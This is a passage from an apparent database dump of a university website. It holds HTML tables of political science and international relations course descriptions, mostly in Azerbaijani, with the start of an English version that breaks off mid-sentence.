1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Bu modul AB-nin artan siyasi strukturuna və xarici siyasət ölçüsünə girişdir. İkinci dünya müharibəsindən sonra başlayan siyasi inkişaflar Avropa ölkələri arasındakı inteqrasiya və siyasi yaxınlaşmaya gətirib çıxardı və Avropa İttifaqını qeyri-müəyyən vəziyyətdə tərk edən Brexit referendumu sonrası siyasi inkişaflarla sona çatdı. Kursun birinci hissəsi Avropa Birliyinin Şərqi Xarici və Təhlükəsizlik Siyasətinin yaradılmasına və qərar qəbuletmə prosesinə dair və Aİ qurumlarının roluna müəyyənləşdirən müqavilələrə yönəlib. İkinci hissə xarici siyasət və Avropa Birliyi normalarının və dəyərlərinin xaricdə təşviqi ilə məşğul olur. Kursda digər ölkələrlə əlaqələr: namizəd dövlətlər, ENP dövlətləri (Şərq Tərəfdaşlığı və Aralıq dənizi üçün Birlik) və digər bölgə dövlətləri ilə əlaqələrdə - xarici şəraitdə xarici siyasət vasitələrini - təşviqlər, mükafatlar və ya sanksiyaların tədqiqi əhatə olunur.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR411</p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p style=\"text-align:center\">Avropa Ölkələrinin\r\n  İqtisadiyyatı&nbsp;</p><p><br></p><p><br></p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Bu kursun məqsədi tələbələri Avropa iqtisadiyyatı ilə bağlı anlayışlar, proseslər və hadisələrlə tanış etməkdir. İnteqrasiya prosesinin arxasında əsas iqtisadi məsələlərinə baxılır. Tədbir həmçinin bölgənin qlobal iqtisadiyyatda ixtisaslaşma sahələrini, qlobal iqtisadi inkişafa təsir göstərə biləcəyini və Avropa Birliyinin mövcud iqtisadi siyasətlərini qiymətləndirir.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR450</p><p><br></p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p style=\"text-align:center\">Müqayisəli Siyasət</p><p><br></p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Bu kurs siyasət\r\n  elmində müqayisəli strategiyanı araşdırır. Müxtəlif hökumət üsullarını\r\n  araşdırır və sonradan müqayisəli siyasətin bəzi vacib məsələlərini vurğulayır.\r\n  Nümunələrdən istifadə edərək hadisələrin müqayisəli təhlilini aparır. Kursun\r\n  məqsədi müasir siyasi sistemlərin bilikli araşdırılmasında əhəmiyyətli olan nəzəri\r\n  biliklərlə siyasət elmləri tələbələrinə təmin etməkdir. Kursun sonunda tələbələr\r\n  müxtəlif idarəetmə modelləri fonunda siyasi sistemlərin əsasları ilə tanış\r\n  olmalıdırlar və sistematik tədqiqatların arxasında mantığın əsas bilik və\r\n  bacarığına malik olmalıdırlar.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR451</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p style=\"text-align:center\">Müasir İnteqrasiya\r\n  Prosesləri</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Bu kurs müasir inteqrasiya proseslərinin dinamikası və mürəkkəbləşmələrini izah edir. Avropa Kömür və Polad Birliyinin (AKPB) yaradılması Qərbi Avropada regional inteqrasiyanı necə törətdiyini, Orta və Şərqi Avropada bu inteqrasiya sxeminin yayılmasının öyrənilməsini hədəfləyir. Bununla yanaşı, Avropaya inteqrasiyanın əsas nəzəriyyələri, eləcə də 28 dövlətin iqtisadi və siyasi birliyi olan Avropa İttifaqının praktiki aspektləri ilə tanış olan tələbələr hələ müasir dünyada inteqrasiyanın ən qabaqcıl modelidir. Kurs, müasir inteqrasiya proseslərini asanlaşdırmaqda regional ticarət bloklarının rolunu müzakirə edir; Şimali Amerika, Afrika, Latın Amerikası, Cənubi Amerika, Cənub-Şərqi Asiya və Asiya-Sakit Okean bölgəsi daxil olmaqla dünyanın müxtəlif bölgələrində müasir inteqrasiya proseslərinin müqayisəli təhlili təmin edir. Kurs çərçivəsində Avropa Birliyi ilə dünyanın digər bölgələri arasındakı əlaqələr də qiymətləndirilir.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR452</p><p><br></p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:99.75pt\"\"=\"\"><p style=\"text-align:center\">Dünya\r\n  İqtisadiyyatı</p><p><br></p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:99.75pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Bu kursun məqsədi tələbələrə dünya iqtisadiyyatının müxtəlif aspektlərini tanıtmaqdır. Kurs qlobal iqtisadiyyatın formalaşması və inkişafı, qlobal iqtisadiyyatın potensialı, qlobal iqtisadiyyat mexanizmi və onun problemləri üzərində dayanır. Dərs tələbələrə qlobal iqtisadi tendensiyaları anlamaq və təhlil etmək üçün lazım olan bacarıq və bilikləri aşılayır. Bu da tələbələrə dünya miqyasında mal və xidmət axınının və bu mövzuda müxtəlif hökumətlər tərəfindən istifadə edilən siyasətin dərk edilməsinə kömək edəcəkdir.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR453</p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:102.0pt\"\"=\"\"><p style=\"text-align:center\">Political system and foreign policy of EU</p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:102.0pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Bu kursun əsas məqsədi Avropa İttifaqının siyasi sisteminin işlənməsini izah etməkdir. Avropa İttifaqı və onun üzv ölkələri arasındakı əlaqələri müzakirə olunur və dövlətləri birləşdirən, millətlərin birliyi nümunəsi olan Aİ-yə verilmiş xüsusi, ümumi və dəstəkləyici səlahiyyətləri nəzərdən keçirir. 1979-cu ildən etibarən keçirilən Avropa Parlamentinə seçkilər və seçkilərin keçirilməsi ilə yanaşı, siyasi partiyaların, maraq qruplarının və Avropada ictimai rəyin əhəmiyyəti də müzakirə olunur.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR460</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p style=\"text-align:center\">Avropa İttifaqı Hüququ</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Kurs bu hədəflərə yönəlmişdir: Avropa İttifaqının yaradılması və konstitusiyasının əsaslı biliklərini təmin etmək; Kurs Aİ hüququnun təkamülü, strukturu, qurumları və qaynaqları və üzv dövlətlərin hüquq sistemində bu orqanın mövqeyinə dair mühazirələr verir. Bu kurs Aİ-nin demokratik təbiəti, əsas hüquqların qorunması mövqeyi və rifah dövləti ilə Avropa Birliyi qanunları arasındakı əlaqələri müzakirə edir. Aİ-nin institusional arxitekturasının, o cümlədən institutlar arasındakı üfüqi əlaqələrin və Avropa İttifaqı və onun üzv dövlətləri arasında şaquli əlaqələrin dərk edilməsinə kömək etmək; əhatə olunan Aİ qanunu sahələrində praktiki halların müzakirəsi</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR475</p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:89.05pt\"\"=\"\"><p style=\"text-align:center\">Nation and Nationalism&nbsp;</p><p><br></p><p><br></p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:89.05pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Millət nədir? Milli kimlik necə qurulub? Müxtəlif millətçilik növü hansılardır? Milli dövləti necə meydana çıxır? Bu və digər suallar millətlər və millətçilik aspektindən müzakirə olunur. Bu kurs millətçiliyin öyrənilməsinə əsas nəzəri və konseptual yanaşmaları əhatə edir. Tələbələrin bu anlayış və nəzəriyyələri anlamalarını asanlaşdırmaq üçün nümunəvi tədqiqatlar təqdim olunur.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR480</p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:34.5pt\"\"=\"\"><p style=\"text-align:center\">Enerji Diplomatiyası</p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:34.5pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Tədbirdə neftin necə müasir dünya iqtisadiyyatının və siyasətinin formalaşmasında mühüm rol oynayan beynəlxalq ticarət məhsulu olduğu müzakirə olunur. Neftin sənayeləşmə, qlobal və milli iqtisadi artımlar, eləcə də iqtisadi böhranlar, daxili, mülki, regional və dünya müharibələri daxil olmaqla, tarixi və qlobal əhəmiyyətli müharibələrə təsiri müşahidə edilə bilər. Kurs enerji siyasəti və iqtisadiyyatının əsaslarını anlamaq üçün lazımi bütün istiqamətləri və mənbələri təmin edəcəkdir.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR500</p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p style=\"text-align:center\">Təcrübə</p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>HIST144</p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:1.4in\"\"=\"\"><p style=\"text-align:center\">Avropa Tarixi&nbsp;</p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:1.4in\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Bu kurs Avropadakı müasir tarixi hadisələri araşdırır. Soyuq Müharibənin bipolyar sisteminin formalaşdırılması, Avropaya inteqrasiya, Fransız qaulizmi, Avstriyanın \"Ostpolitik\", \"Eurokommunizm\", nüvə texnologiyasında irəliləyişlər əhatə olunur. Kurs Bretton Voods sistemi və neft böhranları kimi qlobal dəyişmələrin təsirlərini də araşdırır. Digər mövzular arasında Sovet blokunun parçalanması və Almaniyanın birləşməsi də yer alır.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>LIT308</p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:60.6pt\"\"=\"\"><p style=\"text-align:center\">Avropa Ədəbiyyatı&nbsp;</p><p><br></p><p><br></p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:60.6pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Kurs Avropa ədəbiyyatına girişi təqdim edir. Avropa folklorunu, müxtəlif dövrlərdə ədəbi inkişaflarını, müxtəlif şeir və nəsr janrlarını öyrənir. Tələbələr müasir Avropa ədəbiyyatında bəzi əsas tendensiyaları araşdırır və görkəmli yazıçılar və şairlərin həyat və yaradıcılığını öyrənirlər.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\" style=\"\" width:72.15pt;border-top:none;border-left:solid=\"\" windowtext=\"\" 1.5pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:29.1pt\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"635\" colspan=\"2\" style=\"\" width:476.35pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:29.1pt\"\"=\"\"><p style=\"text-align:center\"><strong>MA</strong></p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR550</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p style=\"text-align:center\">Tədqiqat\r\n  Metodları</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Bu kurs tələbələrə elmi tədqiqatın əsas anlayışlarını, üsullarını və üsullarını təqdim edir. Kurs elmi və empirik tədqiqatlara dair əsas biliklərin tətbiqi ilə başlayır ki, bu da tələbələrə hipotez, dəyişənlər və konsepsiyalar kimi empirik tədqiqatın təməl daşları haqqında məlumat verməyə kömək edəcəkdir. Bu hissədə tələbələrə siyasi elm araşdırmalarında tədqiqat sualını və strukturun müəyyənləşdirilməsi metodları haqqında məlumat alacaqlar. Bundan əlavə, tələbələr tədqiqat dizaynı, hipotezlərin ölçülməsi, keyfiyyət və kəmiyyət metodları, məlumatların toplanması və təhlil metodları və s. kimi əsas tədqiqat konsepsiyalarına təqdim olunur. Ümumiyyətlə, kurs üç moduldan ibarətdir: 1) elmi tədqiqat və onun tikinti blokları; 2) tarix toplama rejimi (məzmun təhlili, elit müsahibə, sorğunun tədqiqi, müşahidə); 3) toplanmış məlumatların təhlili.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR551</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p style=\"text-align:center\">Beynəlxalq\r\n  Münasibətlərin Müasir Problemləri</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Bu kurs magistratura tələbələrini beynəlxalq əlaqələrdə müasir problemlər haqqında məlumatla təmin etmək üçün nəzərdə tutulmuşdur. Kursun əsas məqsədi dünya ölkələrinin xarici və daxili siyasətlərini formalaşdıran qlobal arenada əsas müzakirələr və məsələləri müzakirə etməkdir. Beynəlxalq münasibətlərə təsir edən siyasi, iqtisadi, sosial və mədəni faktorlara əsaslanan kontekst analizi tədris prosesi boyunca nəzərdən keçirilir. Beynəlxalq təhlükəsizlik və qloballaşmanın nəzəri və empirik anlayışına xüsusi diqqət yetirilir. Kurs zamanı müharibə, terrorizm, etnik münaqişələr daxil olmaqla, lakin bunlarla məhdudlaşmayan əsas anlayışlar təhlil edilir. Ekoloji məsələlər və miqrasiya digərləri ilə birlikdə əhatə olunur.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR552</p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p style=\"text-align:center\">Müqayisəli\r\n  Regionalizmlər</p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Kurs dünyanın müxtəlif bölgələrində regionalizmin necə inkişaf etdiyinə və müxtəlif nəzəriyyələrlə bu inkişafları izah etməyə yönəlmişdir. Regionalizmin izləri regionun və tarixi dövrdən asılı olaraq hər birinin öz xüsusiyyətlərinə malik olan dünyanın hər yerində müşahidə edilə bilər. Regionalizmin konseptual anlayışını və dünyanın müxtəlif bölgələrində regionalizmin tarixi inkişafının empirik biliklərini ətraflı öyrənmək üçün kurs tələbələrə keçirilir.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR553</p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p style=\"text-align:center\">Qlobal Təhlükəsizlik\r\n  və İdarəçilik</p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Bu kursun məqsədi beynəlxalq münasibətlərə müxtəlif nəzəri yanaşmalar təqdim etmək və qlobal təhlükəsizliyə və idarəetməyə çağırış problemlərini araşdırmaqdır. Birləşmiş Millətlər, G7 və G20, eləcə də transmilli şirkətlər kimi qlobal qurumların və qrupların rolu bu kursun mərkəzində olacaqdır.Bu kurs beynəlxalq sülhün və təhlükəsizliyin təkamülünü, eləcə də qlobal təhlükəsizlik və idarəetmə üçün əsas problemlərin həllində beynəlxalq təşkilatların rolunu araşdırır.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR560</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p style=\"text-align:center\">Avropa İttifaqı\r\n  Hüququ</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Bu kurs Avropa İnteqrasiyası haqqında lazımi məlumatları hüquqi və institusional baxımdan təmin edəcəkdir. Kursun məqsədi Avropa Birliyi tarixinin və institusional strukturunun hərtərəfli anlaşılmasıdır. Birlik daxilində qanunauyğunluq, hüquq-mühafizə və qərar qəbul etmə prosesini təhlil edir, eyni zamanda, Birliyin xarici əlaqələrini öyrənir. Dərslərdə tələbələr seminarlar və praktiki seminar vasitəsilə tələbələr Aİ Qanununun əsas gələcəyi haqqında müvafiq məlumatlar əldə edəcəklər. Bu kursun əsas məqsədi tələbələri İttifaqın tarixi, institusional quruluşu, qanunun aliliyi, hüquq-mühafizə orqanları və Birlik daxilində siyasətin formalaşdırılması prosedurları, habelə İttifaqın xarici əlaqələri ilə tanış etməkdir.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR576</p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p style=\"text-align:center\">Demokratiya: nəzəriyyə\r\n  və təcrübə</p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Bu giriş kursu ictimai elmlər tələbələrini demokratik hökumətlərin əsas və demokratik tarixi və müasir modelləri ilə əsas perspektivlərlə təmin etməyi nəzərdə tutur. Kurs Qərb demokratik ənənələrinin yerli demokratik dəyişikliklərlə müqayisədə transformsiyasını təhlil etmək üçün tarixi bir yanaşma təqdim edir.Bu kursun əsas məqsədi tələbələrə tarixən demokratiya ideyasına bağlı mənalar çoxluğunu anlamaq və günümüzdə demokratiya analyışının necə göründüyünü və necə işlədiyini öyrətməkdir.</p></td>\r\n </tr>\r\n</tbody></table>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>'),(6023,2482,'en','Course Descriptions','Course Descriptions','<table cellspacing=\"0\" cellpadding=\"0\" width=\"731\">\r\n <tbody><tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><a><strong><span style=\"color:#000000\">Code</span></strong></a></p>\r\n  </td>\r\n  <td width=\"126\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>Courses</strong></p>\r\n  </td>\r\n  <td width=\"507\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>Description</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"text-align: left;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">PSIR 110</p><p style=\"text-align: left;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"text-align: left;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"text-align: left;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"text-align: left;\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Introduction to Political Science</p><p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><br></p><p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">The aim of this course is to introduce students to political science as a discipline and provide a general overview of political theories. The students will explore topics such as political ideology,&nbsp;political system, types of democracies, political processes and political participation, elections and voting systems, political conflict, and political culture. They will be able to differentiate between the various concepts of political science and understand political behavior.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">PSIR150</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Ancient and Medieval social history of Political thought</p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p>The History of Ancient and Medieval Political Thoughts is a science about political science, political processes and institutions, and the concepts related to the historical development of political power. The most important goal of the politology that reflects the diversity of society\'s political life is to give scientific 